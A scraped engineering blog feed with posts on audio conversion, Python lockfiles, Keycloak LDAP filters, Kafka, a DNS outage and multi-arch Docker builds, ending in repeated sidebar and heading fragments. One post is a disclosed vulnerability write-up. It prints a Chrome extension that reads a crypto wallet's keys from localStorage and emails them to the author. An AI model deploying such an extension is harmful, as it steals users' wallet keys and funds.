ffmpeg</code></pre> Homebrew Formula When the tool is ready to use, navigate to the folder containing the FLAC files and run the following script: for file in *.flac; do ffmpeg -i "$file" -acodec alac -vcodec copy "`basename "$file" .flac`.m4a"; done; mkdir flac; mkdir alac; for file in *.flac; do mv "$file" "flac/"; done; for file in *.m4a; do mv "$file" "alac/"; done;</code></pre> Silly One-liner Converting FLAC to ALAC Susumu Hirasawa – Siren [Limited Edition] The bash script converts the audio to the Apple Lossless format (*.m4a</code>) and moves the files to the alac</code> directory: Finally, the alac</code> directory can be dragged to Apple Music to import the album and upload its tracks to the cloud. The Uploaded Album You probably wonder why this album has no Lossless icon in Apple Music. Well, it turns out the audio quality of the FLAC files wasn't on pair with lossless. So, make sure releases you buy or rip, have a proper audio codec and quality. </div> Generating A Lockfile For Python Project Using Github Actions 2023-10-12T00:00:00+00:00 If you're working on a project that needs to be packaged for a specific environment other than your machine, the CI/CD server is your best friend. Products like Github Actions can save you time and the hassle of building dependencies you won't use in development. For example, many developers love Mac computers, especially the ones that come with Apple silicon. The sad truth is that we rarely deploy our code on servers with these processors and MacOS. Most of the time, projects run on Linux. Unfortunately, Python can't guarantee a deterministic or reproducible environment. Running the command to create a list of all the dependencies that your package will need gives a different result on MacOS, Linux, Windows, and so on: pip-compile --allow-unsafe --generate-hashes --no-emit-index-url --output-file=requirements-lock.txt > requirements-lock.txt</code></pre> Using pip-tools to compile a requirements.txt file from your dependencies Not all dependencies have universal wheels. Moreover, users can install different Python versions. Now that you see the problem, let's take a quick look at possible solutions. name: Build requirements-lock.txt on: workflow_dispatch: jobs: build-requirements-lock: runs-on: ubuntu-22.04 steps: - uses: actions/checkout@v3 - name: Set up Python 3.9 uses: actions/setup-python@v3 with: python-version: "3.9" - name: Install pip and pip-tools run: | pip install --upgrade pip pip install --upgrade pip-tools - name: Run pip-compile run: | pip-compile --allow-unsafe --generate-hashes --no-emit-index-url --output-file=requirements-lock.txt > requirements-lock.txt - name: Upload requirements-lock artifact uses: actions/upload-artifact@v3.1.1 with: name: requirements-lock path: requirements-lock.txt retention-days: 3</code></pre> build-requirements-lock-workflow The Github Actions manifest above defines a workflow that can be triggered manually on any branch you like. Suppose you're upgrading some dependencies in requirement.txt. pip install -r requirements.txt</code> works fine. Now you want to generate a new lock file for the users. You commit the changes to your branch, wait for the tests to pass, and trigger the workflow: Github Actions Workflow A freshly generated requirements-lock.txt appears in downloadable artifacts. You download the file and add it to the repo. Another option might be to run a similar workflow in a Docker container. I posted a note about multi-architecture builds a few months ago. Take a look!</a> Just make sure you choose the same architecture and Python version that you want to distribute your project to. Other tools like Poetry might do the job better and provide more convenient ways of managing lock files. But if you have reasons to not use them, it's totally fine to stick with good old pip. </div> Synchronizing Users From LDAP With Keycloak Using AD Filters 2023-09-23T00:00:00+00:00 One of the ways to synchronize users via a third-party provider with Keycloak is a mechanism called User Federation. It allows, using Kerberos or LDAP protocol, to pull user entries from your corporate authentication storage. However, if your organization is big enough to have a complex structure and there are a lot of users in the user directory, it could be challenging to get only a subset of the accounts that belong to different organization units. For example, Active Directory models a tree-based structure using the following entities: CN</code> = Common Name</li> OU</code> = Organizational Unit</li> DC</code> = Domain Component</li> </ul> All the distinguished names can be found in the official documentation</a> provided by Microsoft. To configure a new User Federation in Keycloak, it's required to specify a User DN. This distinguished name is the base object in the directory information tree where the search begins forming candidates for pulling authentication entries. Therefore, we need to know how to construct the User DN. The base option that an Active Directory administrator could use to create user accounts is to organize them under organizational units: OU=Main,DC=Orgname,DC=ru</code></pre> Even if your organizational unit has a complex structure, it's still relatively easy for Keycloak to find user entries inside it – just activate the Search Scope: Subtree</code> setting when configuring the user federation. In large organizations, the Active Directory structure can get quite messy. Instead of using clear distinguished names, administrators do something surprising even to them. How about putting entries under CN in different organizational units? This is what I encountered while working on corporate user authentication for a media platform's CMS. User entries of the editors were grouped via the Common Name. So, there is no way to define User DN in the way I've mentioned in the example above. Fortunately, the LDAP connection allows providing a filter for Active Directory. In my case, writing the filter to select all of the members of the CMS_EDITOR</code> group was enough to solve a problem: (&(objectCategory=Person)(sAMAccountName=*)(|(memberOf=CN=CMS_EDITOR,OU=Security,OU=Groups,OU=Central,OU=Main,DC=Orgname,DC=ru)))</code></pre> Moreover, the Custom User LDAP Filter</code> setting in Keycloak supports logical operators like or with |</code>, and I could use it for finding not only the members of the editor staff but also CMS admins, guests, etc. Understand How Services Are Run And Operate In Production 2023-09-06T00:00:00+00:00 Over the past few years, I've been interviewing dozens of software engineers who didn't know how their developed services run and operate in production. The reason for that is a rising trend in software engineering trusting in an infrastructure team, the magic of the cloud, Docker, Kubernetes, and whatnot. A conversation with a talent usually looks the following: Interviewer: How do you ship your service to production? Candidate: We build Docker images and run containers. Interviewer: Sounds cool! Can you tell me about the resource requirements for a container? Candidate: Hmm, to be honest, I don't know the details. DevOps folks take care of that. Interviewer: (discussing Python app) OK. And what application server do you use? Candidate: Application Server? (Some people even reply: "You mean WSGI?") Interviewer: Yes, the thing that handles web requests and runs your Python code. Candidate: Hmm, let me open a project repo and check.. Candidate: It's...Gunicorn! Interviewer: Great. Can you estimate how many requests the web application can handle? Candidate: I don't think so because we don't do load testing. Interviewer: So, it's not possible to do even a rough estimation? Candidate: Nope. Interviewer: OK. Do you understand what happens on a processes and threads level when the application server processes a request? </blockquote> This is where the conversation hits a dead end. Many talents don't. And this is a red sign to me. It gets worse when a candidate claims they have experience with (semi)async services in production but can't explain a service model</a> they have chosen and how the services operate because of that (including resources allocating and consumption). You might say: "Why do I need to know all that low-level stuff in the 2020s?". Fair enough...if you don't develop software for thousands of users, have an unlimited budget for underutilized hardware, don't design distributed systems, or, simply, have an SRE team ready to solve all possible issues for you. Otherwise, please do. Choosing Apache Kafka For A New Project – A Questionnaire 2023-08-29T00:00:00+00:00 In any modern project where there is a need to process events – a set of messages or a stream of data – developers often propose Apache Kafka as the infrastructure solution. This is not always a weighted choice – where a classic broker like ActiveMQ will do, marketing sometimes prevails. But let's assume that you have deliberately chosen Kafka, or that the infrastructure team has left you no alternative. Before setting up broker parameters and writing producers and consumers, what questions should you ask yourself? To ensure a smooth start, I have prepared the following checklist: The amount of data that is going to be generated by the producers → Will the network channel be sufficient for the entire system and its critical components? Is there an option to make use of message compression</a>? </li> Data retention policy</a>: How long do you need to keep data? → Consider the business and data protection requirements of a product you are developing, and the cost of storing data. </li> Message sending guarantees (Acks</a>) → Finding the right balance between latency and reliability within replication (durability). </li> Message delivery guarantees → How critical is message loss or duplication of messages to the business objective? Are idempotency</a> and transactionality</a> needed? </li> What partitioning strategy</a> will producers use? → Is the default strategy (Default partitioner</code>) appropriate? </li> For a particular topic, is it important to store the entire message log, or are the latest changes sufficient → Consider using Compacted</a> topics</a>. </li> Do the created topics require a consumer group</a>? → How do you plan to scale consumers and their bandwidth? What happens when the group is rebalanced</a>? </li> </ol> That's it. The checklist/questionnaire is by no means exhaustive and it only covers the essentials. It leaves out a lot of things such as data encryption, authentication, authorization, and cluster configuration – assuming that the SRE team or some PAAS will take care of that for you. My "It's not DNS" story 2023-08-12T00:00:00+00:00 Summer of 2019. I'm joining a large retail organization that is undergoing a digital transformation. The role I've been hired for is a technical leadership role. The project I'm taking over doesn't even have a complete team yet, which means I'll be wearing all sorts of hats until I hire someone and delegate work. You could say, I'm the only "developer" on the team. Also, the code base is already serving users, and the services are part of a lead generation funnel for one of the grocery networks. So if something goes down, the company loses potential customers and revenue. The fact that the project was developed by an outsourced team that has already left without handing over proper documentation makes things more complicated and fragile. In a few days, I try to understand how the services are run in production, write missing README and system design papers, and create initial tasks for maintenance. All goes well, and I manage to deploy some changes to the backend. It's Friday afternoon, so I still have time to do a rollback if I've made a mistake. But nothing suspicious has been observed during the day, and I leave the office for the weekend. The fun begins on Sunday. Because I'm in charge of the project, I'm the one who is on-call. I get a call from our support team telling me that the web application isn't responding from time to time and that they're getting complaints from customers. The first thing I do is open my browser to check what users are seeing. Surprisingly, a web page loads just fine. I hit refresh – same result. Then I turn off Wi-Fi on my iPhone and open Safari – 504 error. It's a Nginx page. Now it is something. Simplified diagram of the project architecture I open the monitoring and observe no high load. CPU usage is low, more than 50% of memory is free, plenty of free disk space on each of the virtual machines, no spikes in the network bandwidth. Looking at the Nginx logs only proves that there's a gateway timeout error related to the backend. I should check the application backend logs. Nothing there, no errors at all. At this point, I start to blame the network and call the network infrastructure team. These guys work on an organisational level and potentially can see what I can't. After spending an hour investigating together, we see nothing. It's already Sunday evening, and I'm almost hopeless. I decide to take a break and go for a walk. When I'm back, I try to ssh to a VM again. Suddenly, I notice a few seconds of delay before I can type my commands into a terminal. "It can't be DNS", I say to myself. To prove it, I ping a public domain from our network. Again, a few seconds of delay and the network packets are flying without a hitch. "If DNS was down, the infrastructure team would notice.", I continue to reason. Before escalating the situation further to upper management, I choose to check the DNS configuration on the backend virtual machines. The /etc/resolv.conf is a DNS resolver configuration file. It contains records in the following format: nameserver [ip] nameserver [ip]</code></pre> In my developer's mind, a Linux machine receives these records at boot time and caches them. This file is then queried to resolve domains. What could possibly go wrong? Well, I ask the infrastructure team about the IP addresses I see in /etc/resolv.conf</code> and get a surprising answer: "The IP addresses are DNS load balancers and the first one in the list is currently down". Hearing this, I begin to understand why the ssh and initial ping delays are happening. The first DNS load balancer is queried, but because it's down, it doesn't respond, and the resolution continues with the second IP address. I remove the first nameserver from /etc/resolv.conf</code> and drop the DNS cache on each of the VMs. After a few seconds, the 504 error and the gateway timeout disappear. In the morning, we'll discuss the incident with the infrastructure team and senior management. Fun week ahead. It's not DNS There's no way it's DNS It was DNS Old Japanese Haiku </div> Building Multi-Arch Images for Arm and x86 2023-08-10T00:00:00+00:00 At work, I am involved in the development of a machine learning SDK and cloud services for privacy and data protection. Like almost every company in this space, we rely heavily on Python's scientific ecosystem. Because it's quite mature and depends on native library development that started years ago, getting these packages to work on new architectures can be tedious. I am one of the few developers on our team who has stuck with MacOS and have a Macbook Pro with M1 chip. There is no easy way for me to bootstrap our development environment in a matter of minutes. I have to use Conda, install specific versions of Python packages, patch some native libraries, and even create a symlink from an OS-specific package to its generic name (I'm talking to you, Tensorflow). People on the x86_64</code> architecture generally won't have this problem – almost every package we use comes with a pre-built wheel for a chosen OS. Moreover, to install the SDK as a dependency of, say, an HTTP API service, I had to assemble it from sources: pip install -e '.'</code> A few months ago we didn't even support the Arm64 architecture at a build level. This changed when I introduced a Github Action pipeline to build Python wheels for Linux x86_64</code>, aarch64</code>, and universal</code>. Instead of manually compiling some native libraries on my machine, I moved the work to GitHub and its Linux instances. From that moment on, I could just get the package from a private PyPI registry. The sad truth is that I still use Conda and sometimes patch one or two transitive dependencies for my M1 chip. But other than that, no hard times to date. Today I needed to distribute a newly created API service with the SDK inside as a Docker image. And I haven't found an easy way to define a Dockerfile that can be built and run on Apple Silicon without Conda: FROM python:3.9-slim-buster AS base ENV PYTHONDONTWRITEBYTECODE=1 ENV PYTHONUNBUFFERED=1 # Install Conda RUN apt-get update && apt-get -y upgrade RUN apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget RUN rm -rf /var/lib/apt/lists/* ENV PATH="/root/miniconda3/bin:${PATH}" ARG PATH="/root/miniconda3/bin:${PATH}" RUN wget \ https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-aarch64.sh \ && mkdir /root/.conda \ && bash Miniconda3-latest-Linux-aarch64.sh -b \ && rm -f Miniconda3-latest-Linux-aarch64.sh # Create a Conda environment and install native dependencies RUN --mount=type=cache,target=/root/.cache \ conda init bash && . /root/.bashrc && \ conda update conda && \ conda create -n de_agent python=3.9 && \ conda env config vars set -n de_agent LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libgomp.so.1 && \ conda activate de_agent && \ conda install gdal llvmdev dm-tree -y && \ pip install --upgrade pip setuptools wheel && \ pip install h3 # Copy application files WORKDIR /app COPY app/ . COPY logging.yaml . COPY main.py . COPY requirements.txt ./ # Install Python packages ARG DE_AGENT_PYPI_TOKEN RUN --mount=type=cache,target=/root/.cache \ . /root/.bashrc && conda activate de_agent && \ pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/ && \ pip install numpy==1.23.5 # Cleanup RUN apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget RUN apt autoremove && apt clean RUN rm -rf /var/lib/apt/lists/* # Create a user RUN groupadd -r de_agent && useradd -r -m -g de_agent de_agent RUN chown -R de_agent:de_agent /app USER de_agent # Run the web application EXPOSE 8000 ENTRYPOINT ["PYTHONPATH=.", "python", "main.py"]</code></pre> As you can see, the manifest is quite verbose. It also adds the Conda binaries and related files to a release image. It is a price that must be paid. Fortunately, for Linux, we don't need all of this machinery: FROM python:3.9-slim-buster AS base ENV PYTHONDONTWRITEBYTECODE=1 ENV PYTHONUNBUFFERED=1 # Install system packages RUN apt-get update && apt-get -y upgrade RUN apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget RUN rm -rf /var/lib/apt/lists/* # Copy application files WORKDIR /app COPY app/ . COPY logging.yaml . COPY main.py . COPY requirements.txt ./ # Install Python dependencies ARG DE_AGENT_PYPI_TOKEN RUN --mount=type=cache,target=/root/.cache \ pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/ # Cleanup RUN apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget RUN apt autoremove && apt clean RUN rm -rf /var/lib/apt/lists/* # Create a user RUN groupadd -r de_agent && useradd -r -m -g de_agent de_agent RUN chown -R de_agent:de_agent /app USER de_agent # Run the web application EXPOSE 8000 ENTRYPOINT ["PYTHONPATH=.", "python", "main.py"]</code></pre> The question now is how to build Docker images for both architectures on a Mac. This is where Docker comes in. Docker Desktop officially supports building multi-arch images for Arm and x86</a>. Learning this, I was able to add a few targets to my Makefile to quickly build images: build: # Build a Docker image for x86_64 docker buildx build --platform linux/amd64 -t de-agent:amd64-latest --build-arg DE_AGENT_PYPI_TOKEN=${DE_AGENT_PYPI_TOKEN} -f Dockerfile.amd64 --no-cache . build-arm: # Build a Docker image for arm64 docker buildx build --platform linux/arm64 -t de-agent:arm64-latest --build-arg DE_AGENT_PYPI_TOKEN=${DE_AGENT_PYPI_TOKEN} -f Dockerfile.arm64 --no-cache .</code></pre>make build</code></pre> Docker image built for the amd64 architecture One can say, it's so much hassle for doing all of this locally and a proper CI can solve such a case easily. I agree – as I've mentioned, I like shifting work out of my shoulders and giving it to some machine in the cloud. But in situations where CI is not available, creating multi-arch images can save the day. It certainly did for me. Accidentally found a vulnerability in a crypto wallet and made $1,000 2023-08-05T00:00:00+00:00 In January 2022, I joined the community of one of the proof-of-stake blockchains. To play with what the protocol and its ecosystem offered, I created a wallet account on the official website https://wallet.****.org</code>. Apart from general curiosity, I was interested in how they achieved security in a browser, especially in the age of extensions and client-side vulnerabilities. It turned out that when a user logged in, the wallet application (built in React) generated a set of public and private keys and stored them in the browser's local storage. With my experience of building authentication and authorization in distributed systems, I knew this was not the best thing to do – in general, it's easy for a browser extension and client-side code to read data from local storage 1</a>. To prove this, I decided to write a simple extension for Chrome</a> that would retrieve keys from a victim's browser and send them to my anonymous email address. The root directory of my pickpocket extension looked like this: . ├── content.js ├── email.min.js ├── index.html └── manifest.json</code></pre> The main files are the manifest.json</code> and content.js</code>. The former is essential for installing the extension. { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }</code></pre> email.min.js</code> is just a client library from one of the cloud services that allows you to send email directly from a browser without any server code. index.html</code> is a blank HTML page that displays nothing. The wallet hijacking logic lived in the content.js</code> file: emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });</code></pre> Yes, such a dummy script. I packed all four files into a zip archive and kindly asked my friend, who also had a wallet at https://wallet.***.org</code>, to install my creation in his browser (pretending to do some social engineering). Before doing so, I told him about my findings and the theory I was trying to prove. He was happy to help, and the public and private keys of this wallet account appeared in my inbox a few seconds after the browser extension was installed. Next, I saved the keys to local storage in my browser and opened the wallet website. Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor authentication for users. Of course, not many people would activate it right away, and many didn't. As an ethical developer, I created a vulnerability report, including the source code of the browser extension and my thoughts on how to improve the security of the web application. It was sent directly to the security team's email address on 18th of January. A few days later, I had a call with the CISO of the blockchain protocol, who assured me that they were aware of the issue and would address it in the next release. I was a little disappointed with the speed of the response to the incident. Two days is an eternity when one speaks about users' money. Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT. Advice for application developers: be aware of the technologies you use and their security aspects. </div> Advice for crypto users: learn what security options an organisation offers to you, activate two-factor authentication as soon as you create a wallet account, don't store all of your funds in hot wallets. </div> ^{1 Worth reading: </div>} Is LocalStorage safe to use? | Snyk</a></li> Please Stop Using Local Storage</a></li> Using HTTP cookies - HTTP | MDN</a></li> HttpOnly | OWASP Foundation</a></li> </ul>

Key Effects of Paged KV-cache</h2>

Almost no external fragmentation</h3>
Because blocks don’t need to be contiguous, free memory can be reused efficiently instead of becoming unusable holes.</p>

Minimal internal fragmentation</h3>
Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.</p>

Much larger batch sizes</h3>
Better memory efficiency means more concurrent requests per GPU, which is the main driver of performance on modern GPUs.</p>

True continuous batching</h3>
New requests can be added as soon as finished ones free blocks – no need to wait for a full batch boundary.</p>

Copy-on-write when sequences diverge</h3>
If you generate multiple completions from the same prompt, new blocks are allocated only when outputs differ. This can save up to ~55% of KV-cache memory.</p>

Better TTFT under load (indirectly)</h3>
PagedAttention doesn’t speed up the first token itself, but higher throughput clears queues faster – reducing queue time, which users perceive as better TTFT.</p>

Graceful preemption and swapping</h3>
If VRAM runs low, individual blocks can be swapped to CPU memory instead of crashing the server with OOM.</p>

No recomputation</h3>
Unlike approaches that drop KV-cache under pressure, PagedAttention preserves progress and resumes generation without re-processing the prompt.</p>

A Note About Prefill vs Decode</h2>
It’s important to separate these phases:</p>

Andrey Krisanov

Running Kubernetes with GPU inside WSL2 on my RTX Laptop

Helix for Python Development

vLLM Metrics in Production

PromQL: the percentile queries you'll actually use</h3>

PromQL</h3>

Alerts that save you before users start complaining</h2>
You don't need 30 alerts. You need 5 that are hard to ignore.</p>

Runbook: metrics → diagnosis → action</h2>
When an alert fires or users complain, here's a quick guide to interpret the signals and take action.</p>

Scenario 1: TTFT is high</h3>

Scenario 2: TPOT is high (generation slowed)</h3>

Scenario 3: Swapping detected</h3>

Scenario 4: Abort rate spikes</h3>

Why vLLM Scales: Paging the KV-Cache for Faster LLM Inference

uv: Cargo-like Python Tool That Replaces pipx, pyenv, and more

Identifying Vulnerable Dependencies In .NET Projects

Convert Flac to Apple Lossless With FFmpeg

Generating A Lockfile For Python Project Using Github Actions

Synchronizing Users From LDAP With Keycloak Using AD Filters

Understand How Services Are Run And Operate In Production

Choosing Apache Kafka For A New Project – A Questionnaire

My "It's not DNS" story

Building Multi-Arch Images for Arm and x86

Accidentally found a vulnerability in a crypto wallet and made $1,000

Andrey Krisanov

Running Kubernetes with GPU inside WSL2 on my RTX Laptop

Helix for Python Development

vLLM Metrics in Production

PromQL: the percentile queries you'll actually use</h3>

PromQL</h3>

Alerts that save you before users start complaining</h2> You don't need 30 alerts. You need 5 that are hard to ignore.</p>

Runbook: metrics → diagnosis → action</h2> When an alert fires or users complain, here's a quick guide to interpret the signals and take action.</p>

Scenario 1: TTFT is high</h3>

Scenario 2: TPOT is high (generation slowed)</h3>

Scenario 3: Swapping detected</h3>

Scenario 4: Abort rate spikes</h3>

Why vLLM Scales: Paging the KV-Cache for Faster LLM Inference

Key Effects of Paged KV-cache</h2>

Almost no external fragmentation</h3> Because blocks don’t need to be contiguous, free memory can be reused efficiently instead of becoming unusable holes.</p>

Minimal internal fragmentation</h3> Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.</p>

Much larger batch sizes</h3> Better memory efficiency means more concurrent requests per GPU, which is the main driver of performance on modern GPUs.</p>

True continuous batching</h3> New requests can be added as soon as finished ones free blocks – no need to wait for a full batch boundary.</p>

Memory sharing (prefix / prompt caching)</h3> Multiple requests can point to the same physical blocks for shared prefixes (system prompts, long examples).</p>

Copy-on-write when sequences diverge</h3> If you generate multiple completions from the same prompt, new blocks are allocated only when outputs differ. This can save up to ~55% of KV-cache memory.</p>

Better TTFT under load (indirectly)</h3> PagedAttention doesn’t speed up the first token itself, but higher throughput clears queues faster – reducing queue time, which users perceive as better TTFT.</p>

Graceful preemption and swapping</h3> If VRAM runs low, individual blocks can be swapped to CPU memory instead of crashing the server with OOM.</p>

No recomputation</h3> Unlike approaches that drop KV-cache under pressure, PagedAttention preserves progress and resumes generation without re-processing the prompt.</p>

A Note About Prefill vs Decode</h2> It’s important to separate these phases:</p>

uv: Cargo-like Python Tool That Replaces pipx, pyenv, and more

Managing Python Versions</h2> Instead of juggling tools like pyenv, mise, asdf, or OS‑specific hacks, you can simply use uv:</p>

Additional Notes</h2> While some people don’t care about uv being fast, it’s shaved minutes off CI builds and container rebuilds — saving money and energy.</li>

Identifying Vulnerable Dependencies In .NET Projects

Convert Flac to Apple Lossless With FFmpeg

Generating A Lockfile For Python Project Using Github Actions

Synchronizing Users From LDAP With Keycloak Using AD Filters

Understand How Services Are Run And Operate In Production

Choosing Apache Kafka For A New Project – A Questionnaire

My "It's not DNS" story

Building Multi-Arch Images for Arm and x86

Accidentally found a vulnerability in a crypto wallet and made $1,000

Alerts that save you before users start complaining</h2>
You don't need 30 alerts. You need 5 that are hard to ignore.</p>

Runbook: metrics → diagnosis → action</h2>
When an alert fires or users complain, here's a quick guide to interpret the signals and take action.</p>

Almost no external fragmentation</h3>
Because blocks don’t need to be contiguous, free memory can be reused efficiently instead of becoming unusable holes.</p>

Minimal internal fragmentation</h3>
Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.</p>

Much larger batch sizes</h3>
Better memory efficiency means more concurrent requests per GPU, which is the main driver of performance on modern GPUs.</p>

True continuous batching</h3>
New requests can be added as soon as finished ones free blocks – no need to wait for a full batch boundary.</p>

Memory sharing (prefix / prompt caching)</h3>
Multiple requests can point to the same physical blocks for shared prefixes (system prompts, long examples).</p>

Copy-on-write when sequences diverge</h3>
If you generate multiple completions from the same prompt, new blocks are allocated only when outputs differ. This can save up to ~55% of KV-cache memory.</p>

Better TTFT under load (indirectly)</h3>
PagedAttention doesn’t speed up the first token itself, but higher throughput clears queues faster – reducing queue time, which users perceive as better TTFT.</p>

Graceful preemption and swapping</h3>
If VRAM runs low, individual blocks can be swapped to CPU memory instead of crashing the server with OOM.</p>

No recomputation</h3>
Unlike approaches that drop KV-cache under pressure, PagedAttention preserves progress and resumes generation without re-processing the prompt.</p>

A Note About Prefill vs Decode</h2>
It’s important to separate these phases:</p>